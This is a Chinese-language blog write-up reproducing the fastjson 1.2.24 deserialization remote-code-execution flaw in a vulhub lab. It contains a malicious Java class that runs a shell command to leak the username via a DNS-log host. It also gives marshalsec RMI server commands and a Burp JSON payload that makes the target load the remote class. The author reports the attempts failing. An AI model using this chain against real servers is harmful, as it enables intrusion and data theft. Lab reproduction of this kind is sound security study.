fastjson-1.2.24-rce


fastjson-1.2.24-rce

fastjson

java处理JSON数据有三个比较流行的类库

  • gson(google维护)
  • jackson
  • 以及主角fastjson

fastjson是阿里巴巴一个开源的json相关的java library

fastjson简介

Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上

它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象

漏洞简介

fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,也就是未对@type中加载进的类进行过滤,导致的这一版漏洞

主要由于利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,这个类的构造函数是我们可控的,就能rce

影响版本

fastjson 1.2.22-1.2.24

靶机环境

攻击机:kali/vps(恶意java文件所在以及开启RMI服务)

靶机:另一台vps(vulhub靶场环境)

jkd1.8 + maven 3.3.9

maven安装

1
2
3
4
5
6
7
8
9
10
# 下载 https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/
# 解压
tar -zxvf
# 配置环境变量
vim /etc/profile
添加
export MAVEN_HOME=/xxx/apache-maven-3.3.9 //maven位置
export PATH=${PATH}:${MAVEN_HOME}/bin
# 更新配置
source /etc/profile

image-20210916184550020

复现

访问8090端口

image-20210916182541274

流程

  • 编写恶意类,编译为class文件
  • 在class的目录用python开一个HTTP服务
  • marshalsec起一个RMI服务
  • burp构造包触发反序列化点远程加载恶意类

marshalsec是一款快速开启RMI和LDAP服务神器,由maven编译

RMI是远程方法调用,是一种实现远程过程调用的java api

编译生成.class文件

dnslog.java文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog地址"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

javac dnslog.java生成.class文件

在当前目录下

python起一个http服务

监听在1234端口上

1
python -m SimpleHTTPServer 1234

image-20210918102037413

marshalsec起一个RMI服务

HTTPServer服务与RMI可以在同一个服务器

监听9999端口并加载远程类dnslog.class

1
2
3
4
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
# mvn编译 marshalsec项目
mvn clean package -DskipTests

image-20210918101747298

编译完成会出现BUILD SUCCESS,target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件

image-20210918102149353

使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机9999端口开启一个RMI服务来加载dnslog.class文件

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://生成dnslog.class的ip:1234/#dnslog" 9999

image-20210918103013374

burp构造请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 靶机Ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://生成dnslog.class的服务器ip:9999/dnslog",
"autoCommit":true
}
}

后来又在另一台vps上搭建了jdk+maven环境进行测试

image-20210917210129994

但是要访问的文件不存在,代码没整明白,请求包中构造错了

xxx/ceye.io改为dnslog

image-20210917212757304

过了十分钟又有请求了,但还是不行

然后就一直访问不上,怀疑是ceye.io存在问题,ceye.io也没有接收到数据

ps:我只有在挂代理的情况下才能比较温蒂访问到这个网站,有时还不能成功

换了一个dnslog平台还是不行

又耗了半天,暂时没有复现成功,

总结

这里是想要使用dnslog进行盲打,但目前没有成功

踩坑

  • 记得开启防火墙对应端口并在安全组添加策略,或是直接关闭防火墙

更新

环境

靶机环境查看

image-20211203161603128

这里由于未刷新配置文件etc/profile导致原先的配置未能成功

image-20211203162545035

刷新之后

image-20211203162658895

靶机:jdk1.8.0_301、Apache Maven 3.3.9、fastjson1.2.47

攻击机:jdk1.8.0_301、Apache Maven 3.3.9、marshalsec

流程

1. 编写恶意类,编译为class文件

2.python起一个http服务,监听6666端口

1
python -m SimpleHTTPServer 6666

image-20211203171847689

3.marshalsec起一个RMI服务,监听9999端口

image-20211203171453252

image-20211203172248399

4.burp构造请求包

image-20211203175926384

反弹失败

原因总结

jdk版本过高,关闭了RMI或者LDAP远程类加载

image-20211211181649655

实战 | fastjson 漏洞的发现与测试

参考博客

Fastjson1.2.24RCE漏洞复现

Fastjson1.2.24漏洞复现详细过程(freebuf)

漏洞复现-fastjson1.2.24-RCE

某json 黑盒盲测与白盒审计(阿里先知)


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录